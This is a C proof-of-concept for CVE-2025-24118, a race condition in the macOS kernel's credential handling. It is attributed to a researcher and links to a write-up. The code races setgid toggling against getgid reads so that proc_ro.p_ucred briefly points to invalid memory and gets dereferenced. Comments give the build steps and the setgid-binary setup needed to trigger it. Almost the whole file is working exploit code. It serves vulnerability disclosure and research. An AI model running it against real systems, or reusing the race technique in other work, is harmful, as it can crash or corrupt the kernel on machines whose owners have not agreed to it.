// Joseph Ravichandran (@0xjprx) // PoC for CVE-2025-24118. // Writeup: https://jprx.io/cve-2025-24118 // gcc TRAVERTINE.c -o travertine // chgrp everyone travertine // chmod g+s travertine // ./travertine // Race kauth_cred_proc_update against current_cached_proc_cred_update, // where a non-atomic write to proc_ro.p_ucred can cause it to point // to invalid memory for long enough for it to be dereferenced. // This program needs to be a setgid binary for a group // different than the effective group id of the calling user. // On macOS, it seems this is 'staff' by default, so set this // binary to be owned by 'everyone' instead. // `ls -lah travertine` should look something like this: // -rwxr-sr-x 1 joseph everyone 8.9K Oct 23 02:00 travertine #include #include #include #include #include #include #include #include #define NUM_THREADS ((1)) gid_t rg; gid_t eg; void *toggle_cred(void *_unused_) { while(true) { // Call kauth_cred_proc_update to write to proc_ro.p_ucred: setgid(rg); setgid(eg); } return NULL; } void *reference_cred(void *_unused_) { volatile gid_t tmp; // Call current_cached_proc_cred_update to read proc_ro.p_ucred: while(true) tmp = getgid(); return NULL; } int main(int argc, char **argv) { pthread_t pool[2 * NUM_THREADS]; rg = getgid(); eg = getegid(); if (rg == eg) { fprintf(stderr, "Real and effective groups are the same (%d), they need to be different to trigger kauth_cred_proc_update\n", rg); exit(1); } printf("Starting %d thread pairs\n", NUM_THREADS); printf("rgid: %d\negid: %d\n", rg, eg); for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&pool[(2*i)+0], NULL, toggle_cred, NULL); pthread_create(&pool[(2*i)+1], NULL, reference_cred, NULL); } for (int i = 0; i < NUM_THREADS; i++) { pthread_join(pool[(2*i)+0], NULL); pthread_join(pool[(2*i)+1], NULL); } printf("Done\n"); return 0; }